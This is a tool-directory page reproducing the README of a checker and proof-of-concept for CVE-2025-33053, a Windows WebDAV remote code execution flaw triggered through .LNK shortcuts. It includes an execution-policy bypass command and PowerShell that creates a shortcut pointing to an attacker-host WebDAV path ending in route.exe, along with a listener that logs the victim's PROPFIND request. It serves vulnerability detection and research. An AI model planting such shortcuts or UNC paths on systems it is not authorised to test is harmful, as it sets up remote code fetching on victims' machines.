Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-33053-Checker-PoC — CVE-2025-33053 Checker and PoC | Kitploit
Tools/GitHubGitHub/thetorjancaptain/cve-2025-33053-checker-poc
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingLearning & Education
GitHubthetorjancaptain/cve-2025-33053-checker-poc

CVE-2025-33053-Checker-PoC

CVE-2025-33053 Checker and PoC

View Repository
121 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-33053 Vulnerability Checker & Proof-of-Concept (PoC)

Checker Proof Checker Proof

PoC Proof PoC Proof

A complete set of tools to check and demonstrate potential exploitation of CVE-2025-33053, a critical WebDAV-based Remote Code Execution (RCE) vulnerability affecting Windows systems.

📌 About CVE-2025-33053

CVE-2025-33053 allows attackers to exploit .LNK shortcut files that reference malicious remote WebDAV shares, potentially leading to Remote Code Execution (RCE) on affected systems.

Vulnerability Conditions:

  • WebClient service must be installed and running on the target.
  • The target OS must resolve UNC paths over WebDAV when such paths are accessed — even via .LNK files.

🔍 How Does the Vulnerability Work?

  1. Crafted .LNK File or Direct UNC Path Access — Points to a remote UNC path like:
  2. When the .LNK is accessed or the UNC path is manually browsed (e.g., via File Explorer): - The WebClient service initiates communication to the remote UNC location via WebDAV. - The system sends a PROPFIND request to query metadata from the attacker's server.
  3. Upon receiving the PROPFIND request, the attacker can confirm that: - The target system resolves UNC paths via WebDAV. - The system is potentially vulnerable to CVE-2025-33053.

✅ Real-Time Vulnerability Checker (CVE-2025-33053_checker.ps1)

What It Does:

CheckPurpose
🔍 WebClient Service StatusConfirms if WebDAV support is active and running.
🔍 UNC Path Handling via Test-PathTests if the system resolves remote WebDAV UNC paths (key precondition for CVE exploitation).

How to Run:

  1. Open PowerShell as Administrator.

  2. If script execution is restricted, run:

root@kitploit:~
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
  1. Run the checker: .\CVE-2025-33053_checker.ps1

⚙️ Proof-of-Concept (PoC) Server (CVE-2025-33053_PoC.py)

What It Does:

  • Sets up a Python-based WebDAV-like server on the attacker's machine.
  • Captures incoming PROPFIND requests when the victim system resolves the malicious UNC path.
  • Displays in the terminal that the system reached out — proving exploitation possibility. Note: Tested in VM.

Usage:

  1. On the attacker's (Kali) machine:
root@kitploit:~
python3 CVE-2025-33053_PoC.py --port 8000
  1. On the target machine:
  • Open the UNC path directly in File Explorer:
root@kitploit:~
\\<Kali-IP>@8000\DavWWWRoot\route.exe
  • Manually create a .LNK file in Windows or simply navigate to:
root@kitploit:~
\\<Kali-IP>@8000\DavWWWRoot\route.exe
  • Example PowerShell method to create a shortcut file:
root@kitploit:~
$WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut("C:\Users\Public\CVE-2025-33053-Test.lnk")
$Shortcut.TargetPath = "\\<Kali-IP>@8000\DavWWWRoot\route.exe"
$Shortcut.Save()
  1. If the target is vulnerable the PoC server will log:
root@kitploit:~
[!] PROPFIND request received from <victim-ip> - Potential CVE-2025-33053 detected!
[!] Target system is VULNERABLE to CVE-2025-33053!

🔍 Why This PoC is Legitimate and Reliable:

✔️ Uses real UNC path resolution — no simulation. ✔️ Captures actual PROPFIND requests triggered by the OS — exact behavior required for CVE exploitation. ✔️ Demonstrates real network-level evidence of vulnerability, without executing payloads or causing harm.

🚧 Important Notes

This PoC does not exploit or harm the target system — it only detects the underlying vulnerable behavior. Intended for use in controlled environments or with explicit authorization. Demonstrates real system behavior — not a mock simulation. To be used for educational purposes only. Do not run in unauthorised systems.

🏷️ License

MIT License — Free for educational, research, and defensive purposes only.

🤝 Contributing

Pull Requests welcome — improve detection, add features, or suggest fixes.

⚠️ Disclaimer

This repository is for educational and authorized security research only. Misuse against systems you do not own or have permission to test is strictly forbidden.

Download Tool